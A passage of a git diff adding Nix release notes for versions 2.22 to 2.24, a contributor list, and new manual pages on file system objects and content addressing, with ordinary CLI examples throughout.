current state of the evaluator. + + Welcome to Nix 2.18.1. Type :? for help. + + nix-repl> + ``` + + Now, it just prints the error message like `nix repl`: + + ``` + nix-repl> builtins.throw "what" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "what" + | ^ + + error: what + ``` + +- Consistent order of function arguments in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) + + Function arguments are now printed in lexicographic order rather than the internal, creation-time based symbol order. + +- Fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) + + When an `inherit` caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. + +- `inherit (x) ...` evaluates `x` only once [#9847](https://github.com/NixOS/nix/pull/9847) + + `inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. + This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. + +- Store paths are allowed to start with `.` [#912](https://github.com/NixOS/nix/issues/912) [#9091](https://github.com/NixOS/nix/pull/9091) [#9095](https://github.com/NixOS/nix/pull/9095) [#9120](https://github.com/NixOS/nix/pull/9120) [#9121](https://github.com/NixOS/nix/pull/9121) [#9122](https://github.com/NixOS/nix/pull/9122) [#9130](https://github.com/NixOS/nix/pull/9130) [#9219](https://github.com/NixOS/nix/pull/9219) [#9224](https://github.com/NixOS/nix/pull/9224) [#9867](https://github.com/NixOS/nix/pull/9867) + + Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. + From now on, leading periods are supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. + + Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). + +- `nix repl` pretty-prints values [#9931](https://github.com/NixOS/nix/pull/9931) + + `nix repl` will now pretty-print values: + + ``` + { + attrs = { + a = { + b = { + c = { }; + }; + }; + }; + list = [ 1 ]; + list' = [ + 1 + 2 + 3 + ]; + } + ``` + +- Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` [#10166](https://github.com/NixOS/nix/pull/10166) + + Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. + For instance: + + ``` + nix profile remove '.*vim.*' + ``` + + This would remove all packages that contain `vim` in their name. + + In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. + + To avoid unintended behavior, the arguments are now only matching exact names. + + Matching using regular expressions is still possible by using the new `--regex` flag: + + ``` + nix profile remove --regex '.*vim.*' + ``` + + One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: + + ``` + nix profile upgrade '.*' + ``` + + With the introduction of the `--all` flag, this now becomes more straightforward: + + ``` + nix profile upgrade --all + ``` + +- Visual clutter in `--debugger` is reduced [#9919](https://github.com/NixOS/nix/pull/9919) + + Before: + ``` + info: breakpoint reached + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> :continue + error: uh oh + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. + + nix-repl> + ``` + + After: + + ``` + info: breakpoint reached + + Nix 2.20.0pre20231222_dirty debugger + Type :? for help. + nix-repl> :continue + error: uh oh + + nix-repl> + ``` + +- Cycle detection in `nix repl` is simpler and more reliable [#8672](https://github.com/NixOS/nix/issues/8672) [#9926](https://github.com/NixOS/nix/pull/9926) + + The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere + else values are printed is now simpler and matches the cycle detection in + `nix-instantiate --eval` output. + + Before: + + ``` + nix eval --expr 'let self = { inherit self; }; in self' + { self = { self = «repeated»; }; } + ``` + + After: + + ``` + { self = «repeated»; } + ``` + +- In the debugger, `while evaluating the attribute` errors now include position information [#9915](https://github.com/NixOS/nix/pull/9915) + + Before: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- Stack size is increased on macOS [#9860](https://github.com/NixOS/nix/pull/9860) + + Previously, Nix would set the stack size to 64MiB on Linux, but would leave the + stack size set to the default (approximately 8KiB) on macOS. Now, the stack + size is correctly set to 64MiB on macOS as well, which should reduce stack + overflow segfaults in deeply-recursive Nix expressions. + diff --git a/doc/manual/src/release-notes/rl-2.22.md b/doc/manual/src/release-notes/rl-2.22.md new file mode 100644 index 000000000..c78d3d692 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.22.md @@ -0,0 +1,21 @@ +# Release 2.22.0 (2024-04-23) + +### Significant changes + +- Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299) + + The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled). + +### Other changes + +- `nix eval` prints derivations as `.drv` paths [#10200](https://github.com/NixOS/nix/pull/10200) + + `nix eval` will now print derivations as their `.drv` paths, rather than as + attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate + instead of infinitely looping into recursive self-referential attributes: + + ```ShellSession + $ nix eval nixpkgs#bash + «derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv» + ``` + diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md new file mode 100644 index 000000000..ac842fdc0 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -0,0 +1,102 @@ +# Release 2.23.0 (2024-06-03) + +- New builtin: `builtins.warn` [#306026](https://github.com/NixOS/nix/issues/306026) [#10592](https://github.com/NixOS/nix/pull/10592) + + `builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options + [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace), + [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and + [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). + +- Make `nix build --keep-going` consistent with `nix-build --keep-going` + + This means that if e.g. multiple fixed-output derivations fail to + build, all hash mismatches are displayed. + +- Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) + + The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/development/cli-guideline.md#returning-future-proof-json). + In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`, + rather than one field with an arcane `:`-separated format. + + This JSON format is only used by the experimental `nix derivation` family of commands, at this time. + Future revisions are expected as the JSON format is still not entirely in compliance even after these changes. + +- Warn on unknown settings anywhere in the command line [#10701](https://github.com/NixOS/nix/pull/10701) + + All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line. + + Before: + + ```console + $ nix-instantiate --option foobar baz --expr '{}' + warning: unknown setting 'foobar' + $ nix-instantiate '{}' --option foobar baz --expr + $ nix eval --expr '{}' --option foobar baz + { } + ``` + + After: + + ```console + $ nix-instantiate --option foobar baz --expr '{}' + warning: unknown setting 'foobar' + $ nix-instantiate '{}' --option foobar baz --expr + warning: unknown setting 'foobar' + $ nix eval --expr '{}' --option foobar baz + warning: unknown setting 'foobar' + { } + ``` + +- `nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias [#10504](https://github.com/NixOS/nix/issues/10504) [#10807](https://github.com/NixOS/nix/pull/10807) + + This is part of an effort to bring more structure to the CLI subcommands. + + `nix env` will be about the process environment. + Future commands may include `nix env run` and `nix env print-env`. + + It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup. + +- Flake operations that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778) + + In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type. + + Before: + + ``` + error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path + ```` + + After: + + ``` + error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } + ``` + +- `fetchTree` now fetches Git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028) + + `builtins.fetchTree` now clones Git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. + + Previously, the default behavior was to clone the full history of a specific tag or branch (e.g. `ref`) and only afterwards extract the files of one specific revision. + + From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`. + + The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`. + +- Store object info JSON format now uses `null` rather than omitting fields [#9995](https://github.com/NixOS/nix/pull/9995) + + The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value. + For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely. + This makes records of this sort more self-describing, and easier to consume programmatically. + + We will follow this design principle going forward; + the [JSON guidelines](@docroot@/development/json-guideline.md) in the contributing section have been updated accordingly. + +- Large path warnings [#10661](https://github.com/NixOS/nix/pull/10661) + + Nix can now warn when evaluation of a Nix expression causes a large + path to be copied to the Nix store. The threshold for this warning can + be configured using [the `warn-large-path-threshold` + setting](@docroot@/command-ref/conf-file.md#warn-large-path-threshold), + e.g. `--warn-large-path-threshold 100M` will warn about paths larger + than 100 MiB. + diff --git a/doc/manual/src/release-notes/rl-2.24.md b/doc/manual/src/release-notes/rl-2.24.md new file mode 100644 index 000000000..08ec65be9 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.24.md @@ -0,0 +1,318 @@ +# Release 2.24.0 (2024-07-31) + +### Significant changes + +- Harden user sandboxing + + The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. + + This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531). + + Credit: [**@alois31**](https://github.com/alois31), [**Linus Heckemann (@lheckemann)**](https://github.com/lheckemann) + Co-authors: [**@edolstra**](https://github.com/edolstra) + +- `nix-shell ` looks for `shell.nix` [#496](https://github.com/NixOS/nix/issues/496) [#2279](https://github.com/NixOS/nix/issues/2279) [#4529](https://github.com/NixOS/nix/issues/4529) [#5431](https://github.com/NixOS/nix/issues/5431) [#11053](https://github.com/NixOS/nix/issues/11053) [#11057](https://github.com/NixOS/nix/pull/11057) + + `nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + + Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. + This adjustment addresses a commonly reported problem. + + This also applies to `nix-shell` shebang scripts. Consider the following example: + + ```shell + #!/usr/bin/env nix-shell + #!nix-shell -i bash + ``` + + This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + + The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + +- `nix-repl`'s `:doc` shows documentation comments [#3904](https://github.com/NixOS/nix/issues/3904) [#10771](https://github.com/NixOS/nix/issues/10771) [#1652](https://github.com/NixOS/nix/pull/1652) [#9054](https://github.com/NixOS/nix/pull/9054) [#11072](https://github.com/NixOS/nix/pull/11072) + + `nix repl` has a `:doc` command that previously only rendered documentation for internally defined functions. + This feature has been extended to also render function documentation comments, in accordance with [RFC 145]. + + Example: + + ``` + nix-repl> :doc lib.toFunction + Function toFunction + … defined at /home/user/h/nixpkgs/lib/trivial.nix:1072:5 + + Turns any non-callable values into constant functions. Returns + callable values as is. + + Inputs + + v + + : Any value + + Examples + + :::{.example} + + ## lib.trivial.toFunction usage example + + | nix-repl> lib.toFunction 1 2 + | 1 + | + | nix-repl> lib.toFunction (x: x + 1) 2 + | 3 + + ::: + ``` + + Known limitations: + - It does not render documentation for "formals", such as `{ /** the value to return */ x, ... }: x`. + - Some extensions to markdown are not yet supported, as you can see in the example above. + + We'd like to acknowledge [Yingchi Long (@inclyc)](https://github.com/inclyc) for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as [@sternenseemann](https://github.com/sternenseemann) and [Johannes Kirschbauer (@hsjobeki)](https://github.com/hsjobeki) for their contributions, proposals, and their work on [RFC 145]. + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + + [RFC 145]: https://github.com/NixOS/rfcs/pull/145 + +### Other changes + +- Solve `cached failure of attribute X` [#9165](https://github.com/NixOS/nix/issues/9165) [#10513](https://github.com/NixOS/nix/issues/10513) [#10564](https://github.com/NixOS/nix/pull/10564) + + This eliminates all "cached failure of attribute X" messages by forcing evaluation of the original value when needed to show the exception to the user. This enhancement improves error reporting by providing the underlying message and stack trace. + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Run the flake regressions test suite [#10603](https://github.com/NixOS/nix/pull/10603) + + This update introduces a GitHub action to run a subset of the [flake regressions test suite](https://github.com/NixOS/flake-regressions), which includes 259 flakes with their expected evaluation results. Currently, the action runs the first 25 flakes due to the full test suite's extensive runtime. A manually triggered action may be implemented later to run the entire test suite. + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Support unit prefixes in configuration settings [#10668](https://github.com/NixOS/nix/pull/10668) + + Configuration settings in Nix now support unit prefixes, allowing for more intuitive and readable configurations. For example, you can now specify [`--min-free 1G`](@docroot@/command-ref/opt-common.md#opt-min-free) to set the minimum free space to 1 gigabyte. + + This enhancement was extracted from [#7851](https://github.com/NixOS/nix/pull/7851) and is also useful for PR [#10661](https://github.com/NixOS/nix/pull/10661). + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- `nix build`: show all FOD errors with `--keep-going` [#10734](https://github.com/NixOS/nix/pull/10734) + + The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior for other build failures. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. + + Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92), [**Maximilian Bosch (@Ma27)**](https://github.com/Ma27) + + [`--keep-going`](@docroot@/command-ref/opt-common.md#opt-keep-going) + +- Build with Meson [#2503](https://github.com/NixOS/nix/issues/2503) [#10378](https://github.com/NixOS/nix/pull/10378) [#10855](https://github.com/NixOS/nix/pull/10855) [#10904](https://github.com/NixOS/nix/pull/10904) [#10908](https://github.com/NixOS/nix/pull/10908) [#10914](https://github.com/NixOS/nix/pull/10914) [#10933](https://github.com/NixOS/nix/pull/10933) [#10936](https://github.com/NixOS/nix/pull/10936) [#10954](https://github.com/NixOS/nix/pull/10954) [#10955](https://github.com/NixOS/nix/pull/10955) [#10963](https://github.com/NixOS/nix/pull/10963) [#10967](https://github.com/NixOS/nix/pull/10967) [#10973](https://github.com/NixOS/nix/pull/10973) [#11034](https://github.com/NixOS/nix/pull/11034) [#11054](https://github.com/NixOS/nix/pull/11054) [#11055](https://github.com/NixOS/nix/pull/11055) [#11060](https://github.com/NixOS/nix/pull/11060) [#11064](https://github.com/NixOS/nix/pull/11064) [#11155](https://github.com/NixOS/nix/pull/11155) + + These changes aim to replace the use of autotools and `make` with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. + + Special thanks to everyone who has contributed to the Meson port, particularly [**@p01arst0rm**](https://github.com/p01arst0rm) and [**@Qyriad**](https://github.com/Qyriad). + + Authors: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314), [**Tom Bereknyei**](https://github.com/tomberek), [**Théophane Hufschmitt (@thufschmitt)**](https://github.com/thufschmitt), [**Valentin Gagarin (@fricklerhandwerk)**](https://github.com/fricklerhandwerk), [**Robert Hensing (@roberth)**](https://github.com/roberth) + Co-authors: [**@p01arst0rm**](https://github.com/p01arst0rm), [**@Qyriad**](https://github.com/Qyriad) + +- Evaluation cache: fix cache regressions [#10570](https://github.com/NixOS/nix/issues/10570) [#11086](https://github.com/NixOS/nix/pull/11086) + + This update addresses two bugs in the evaluation cache system: + + 1. Regression in #10570: The evaluation cache was not being persisted in `nix develop`. + 2. Nix could sometimes try to commit the evaluation cache SQLite transaction without there being an active transaction, resulting in non-error errors being printed. + + Author: [**Lexi Mattick (@kognise)**](https://github.com/kognise) + +- Introduce `libnixflake` [#9063](https://github.com/NixOS/nix/pull/9063) + + A new library, `libnixflake`, has been introduced to better separate the Flakes layer within Nix. This change refactors the codebase to encapsulate Flakes-specific functionality within its own library. + + See the commits in the pull request for detailed changes, with the only significant code modifications happening in the initial commit. + + This change was alluded to in [RFC 134](https://github.com/nixos/rfcs/blob/master/rfcs/0134-nix-store-layer.md) and is a step towards a more modular and maintainable codebase. + + Author: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314) + +- CLI options `--arg-from-file` and `--arg-from-stdin` [#9913](https://github.com/NixOS/nix/pull/9913) + +- The `--debugger` now prints source location information, instead of the + pointers of source location information. Before: + + ``` + nix-repl> :bt + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- Stop vendoring `toml11` + + We don't apply any patches to it, and vendoring it locks users into + bugs (it hasn't been updated since its introduction in late 2021). + + Author: [**Winter (@winterqt)**](https://github.com/winterqt) + +- Rename hash format `base32` to `nix32` [#8678](https://github.com/NixOS/nix/pull/8678) + + Hash format `base32` was renamed to `nix32` since it used a special nix-specific character set for + [Base32](https://en.wikipedia.org/wiki/Base32). + + **Deprecation**: Use `nix32` instead of `base32` as `toHashFormat` + + For the builtin `convertHash`, the `toHashFormat` parameter now accepts the same hash formats as the `--to`/`--from` + parameters of the `nix hash conert` command: `"base16"`, `"nix32"`, `"base64"`, and `"sri"`. The former `"base32"` value + remains as a deprecated alias for `"nix32"`. Please convert your code from: + + ```nix + builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base32";} + ``` + + to + + ```nix + builtins.convertHash { inherit hash hashAlgo; toHashFormat = "nix32";} + ``` + +- Add `pipe-operators` experimental feature [#11131](https://github.com/NixOS/nix/pull/11131) + + This is a draft implementation of [RFC 0148](https://github.com/NixOS/rfcs/pull/148). + + The `pipe-operators` experimental feature adds [`<|` and `|>` operators][pipe operators] to the Nix language. + *a* `|>` *b* is equivalent to the function application *b* *a*, and + *a* `<|` *b* is equivalent to the function application *a* *b*. + + For example: + + ``` + nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 + 9 + + nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 + 7 + ``` + + `<|` and `|>` are right and left associative, respectively, and have lower precedence than any other operator. + These properties may change in future releases. + + See [the RFC](https://github.com/NixOS/rfcs/pull/148) for more examples and rationale. + + [pipe operators]: @docroot@/language/operators.md#pipe-operators + +- `nix-shell` shebang uses relative path [#4232](https://github.com/NixOS/nix/issues/4232) [#5088](https://github.com/NixOS/nix/pull/5088) [#11058](https://github.com/NixOS/nix/pull/11058) + + + Relative [path](@docroot@/language/types.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary.md?highlight=base%20directory#gloss-base-directory). + Previously they were resolved relative to the current working directory. + + For example, consider the following script in `~/myproject/say-hi`: + + ```shell + #!/usr/bin/env nix-shell + #!nix-shell --expr 'import ./shell.nix' + #!nix-shell --arg toolset './greeting-tools.nix' + #!nix-shell -i bash + hello + ``` + + Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory, such as the user's home directory in this example: + + ```console + [hostname:~]$ ./myproject/say-hi + error: + … while calling the 'import' builtin + at «string»:1:2: + 1| (import ./shell.nix) + | ^ + + error: path '/home/user/shell.nix' does not exist + ``` + + Since this release, `nix-shell` resolves `shell.nix` relative to the script's location, and `~/myproject/shell.nix` is used. + + ```console + $ ./myproject/say-hi + Hello, world! + ``` + + **Opt-out** + + This is technically a breaking change, so we have added an option so you can adapt independently of your Nix update. + The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. + This option will be removed in a future release. + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + +- Improve handling of tarballs that don't consist of a single top-level directory [#11195](https://github.com/NixOS/nix/pull/11195) + + In previous Nix releases, the tarball fetcher (used by `builtins.fetchTarball`) erroneously merged top-level directories into a single directory, and silently discarded top-level files that are not directories. This is no longer the case. The new behaviour is that *only* if the tarball consists of a single directory, the top-level path component of the files in the tarball is removed (similar to `tar`'s `--strip-components=1`). + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Setting to warn about large paths [#10778](https://github.com/NixOS/nix/pull/10778) + + Nix can now warn when evaluation of a Nix expression causes a large + path to be copied to the Nix store. The threshold for this warning can + be configured using the `warn-large-path-threshold` setting, + e.g. `--warn-large-path-threshold 100M`. + + +# Contributors + +This release was made possible by the following 43 contributors: + +- Andreas Rammhold [**(@andir)**](https://github.com/andir) +- Andrew Marshall [**(@amarshall)**](https://github.com/amarshall) +- Brian McKenna [**(@puffnfresh)**](https://github.com/puffnfresh) +- Cameron [**(@SkamDart)**](https://github.com/SkamDart) +- Cole Helbling [**(@cole-h)**](https://github.com/cole-h) +- Corbin Simpson [**(@MostAwesomeDude)**](https://github.com/MostAwesomeDude) +- Eelco Dolstra [**(@edolstra)**](https://github.com/edolstra) +- Emily [**(@emilazy)**](https://github.com/emilazy) +- Enno Richter [**(@elohmeier)**](https://github.com/elohmeier) +- Farid Zakaria [**(@fzakaria)**](https://github.com/fzakaria) +- HaeNoe [**(@haenoe)**](https://github.com/haenoe) +- Hamir Mahal [**(@hamirmahal)**](https://github.com/hamirmahal) +- Harmen [**(@alicebob)**](https://github.com/alicebob) +- Ivan Trubach [**(@tie)**](https://github.com/tie) +- Jared Baur [**(@jmbaur)**](https://github.com/jmbaur) +- John Ericson [**(@Ericson2314)**](https://github.com/Ericson2314) +- Jonathan De Troye [**(@detroyejr)**](https://github.com/detroyejr) +- Jörg Thalheim [**(@Mic92)**](https://github.com/Mic92) +- Klemens Nanni [**(@klemensn)**](https://github.com/klemensn) +- Las Safin [**(@L-as)**](https://github.com/L-as) +- Lexi Mattick [**(@kognise)**](https://github.com/kognise) +- Matthew Bauer [**(@matthewbauer)**](https://github.com/matthewbauer) +- Max “Goldstein” Siling [**(@GoldsteinE)**](https://github.com/GoldsteinE) +- Mingye Wang [**(@Artoria2e5)**](https://github.com/Artoria2e5) +- Philip Taron [**(@philiptaron)**](https://github.com/philiptaron) +- Pierre Bourdon [**(@delroth)**](https://github.com/delroth) +- Pino Toscano [**(@pinotree)**](https://github.com/pinotree) +- RTUnreal [**(@RTUnreal)**](https://github.com/RTUnreal) +- Robert Hensing [**(@roberth)**](https://github.com/roberth) +- Romain Neil [**(@romain-neil)**](https://github.com/romain-neil) +- Ryan Hendrickson [**(@rhendric)**](https://github.com/rhendric) +- Sergei Trofimovich [**(@trofi)**](https://github.com/trofi) +- Shogo Takata [**(@pineapplehunter)**](https://github.com/pineapplehunter) +- Siddhant Kumar [**(@siddhantk232)**](https://github.com/siddhantk232) +- Silvan Mosberger [**(@infinisil)**](https://github.com/infinisil) +- Théophane Hufschmitt [**(@thufschmitt)**](https://github.com/thufschmitt) +- Valentin Gagarin [**(@fricklerhandwerk)**](https://github.com/fricklerhandwerk) +- Winter [**(@winterqt)**](https://github.com/winterqt) +- jade [**(@lf-)**](https://github.com/lf-) +- kirillrdy [**(@kirillrdy)**](https://github.com/kirillrdy) +- pennae [**(@pennae)**](https://github.com/pennae) +- poweredbypie [**(@poweredbypie)**](https://github.com/poweredbypie) +- tomberek [**(@tomberek)**](https://github.com/tomberek) diff --git a/doc/manual/src/release-notes/rl-2.4.md b/doc/manual/src/release-notes/rl-2.4.md index 8b566fc7b..dbec5a29d 100644 --- a/doc/manual/src/release-notes/rl-2.4.md +++ b/doc/manual/src/release-notes/rl-2.4.md @@ -23,7 +23,7 @@ more than 2800 commits from 195 contributors since release 2.3. * The **`nix` command** has seen a lot of work and is now almost at feature parity with the old command-line interface (the `nix-*` commands). It aims to be [more modern, consistent and pleasant to - use](../contributing/cli-guideline.md) than the old CLI. It is still + use](../development/cli-guideline.md) than the old CLI. It is still marked as experimental but its interface should not change much anymore in future releases. @@ -141,6 +141,8 @@ more than 2800 commits from 195 contributors since release 2.3. the evaluation cache. This is made possible by the hermetic evaluation model of flakes. + Intermediate results are not cached. + * The new `--offline` flag disables substituters and causes all locally cached tarballs and repositories to be considered up-to-date. diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md deleted file mode 100644 index 6c169bd09..000000000 --- a/doc/manual/src/release-notes/rl-next.md +++ /dev/null @@ -1,27 +0,0 @@ -# Release X.Y (202?-??-??) - -* The `repeat` and `enforce-determinism` options have been removed - since they had been broken under many circumstances for a long time. - -* You can now use [flake references] in the [old command line interface], e.g. - - [flake references]: ../command-ref/new-cli/nix3-flake.md#flake-references - [old command line interface]: ../command-ref/main-commands.md - - ``` - # nix-build flake:nixpkgs -A hello - # nix-build -I nixpkgs=flake:github:NixOS/nixpkgs/nixos-22.05 \ - '' -A hello - # NIX_PATH=nixpkgs=flake:nixpkgs nix-build '' -A hello - ``` - -* Allow explicitly selecting outputs in a store derivation installable, just like we can do with other sorts of installables. - For example, - ```shell-session - $ nix-build /nix/store/gzaflydcr6sb3567hap9q6srzx8ggdgg-glibc-2.33-78.drv^dev` - ``` - now works just as - ```shell-session - $ nix-build glibc^dev` - ``` - does already. diff --git a/doc/manual/src/store/file-system-object.md b/doc/manual/src/store/file-system-object.md new file mode 100644 index 000000000..42f047260 --- /dev/null +++ b/doc/manual/src/store/file-system-object.md @@ -0,0 +1,64 @@ +# File System Object + +Nix uses a simplified model of the file system, which consists of file system objects. +Every file system object is one of the following: + + - File + + - A possibly empty sequence of bytes for contents + - A single boolean representing the [executable](https://en.m.wikipedia.org/wiki/File-system_permissions#Permissions) permission + + - Directory + + Mapping of names to child file system objects + + - [Symbolic link](https://en.m.wikipedia.org/wiki/Symbolic_link) + + An arbitrary string. + Nix does not assign any semantics to symbolic links. + +File system objects and their children form a tree. +A bare file or symlink can be a root file system object. + +Nix does not encode any other file system notions such as [hard links](https://en.m.wikipedia.org/wiki/Hard_link), [permissions](https://en.m.wikipedia.org/wiki/File-system_permissions), timestamps, or other metadata. + +## Examples of file system objects + +A plain file: + +``` +50 B, executable: false +``` + +An executable file: + +``` +122 KB, executable: true +``` + +A symlink: + +``` +-> /usr/bin/sh +``` + +A directory with contents: + +``` +├── bin +│   └── hello: 35 KB, executable: true +└── share + ├── info + │   └── hello.info: 36 KB, executable: false + └── man + └── man1 + └── hello.1.gz: 790 B, executable: false +``` + +A directory that contains a symlink and other directories: + +``` +├── bin -> share/go/bin +├── nix-support/ +└── share/ +``` diff --git a/doc/manual/src/store/file-system-object/content-address.md b/doc/manual/src/store/file-system-object/content-address.md new file mode 100644 index 000000000..410d7fb7c --- /dev/null +++ b/doc/manual/src/store/file-system-object/content-address.md @@ -0,0 +1,85 @@ +# Content-Addressing File System Objects + +For many operations, Nix needs to calculate [a content addresses](@docroot@/glossary.md#gloss-content-address) of [a file system object][file system object]. +Usually this is needed as part of +[content addressing store objects](../store-object/content-address.md), +since store objects always have a root file system object. +But some command-line utilities also just work on "raw" file system objects, not part of any store object. + +Every content addressing scheme Nix uses ultimately involves feeding data into a [hash function](https://en.wikipedia.org/wiki/Hash_function), and getting back an opaque fixed-size digest which is deemed a content address. +The various *methods* of content addressing thus differ in how abstract data (in this case, a file system object and its descendents) are fed into the hash function. + +## Serialising File System Objects { #serial } + +The simplest method is to serialise the entire file system object tree into a single binary string, and then hash that binary string, yielding the content address. +In this section we describe the currently-supported methods of serialising file system objects. + +### Flat { #serial-flat } + +A single file object can just be hashed by its contents. +This is not enough information to encode the fact that the file system object is a file, +but if we *already* know that the FSO is a single non-executable file by other means, it is sufficient. + +Because the hashed data is just the raw file, as is, this choice is good for compatibility with other systems. +For example, Unix commands like `sha256sum` or `sha1sum` will produce hashes for single files that match this. + +### Nix Archive (NAR) { #serial-nix-archive } + +For the other cases of [file system objects][file system object], especially directories with arbitrary descendents, we need a more complex serialisation format. +Examples of such serialisations are the ZIP and TAR file formats. +However, for our purposes these 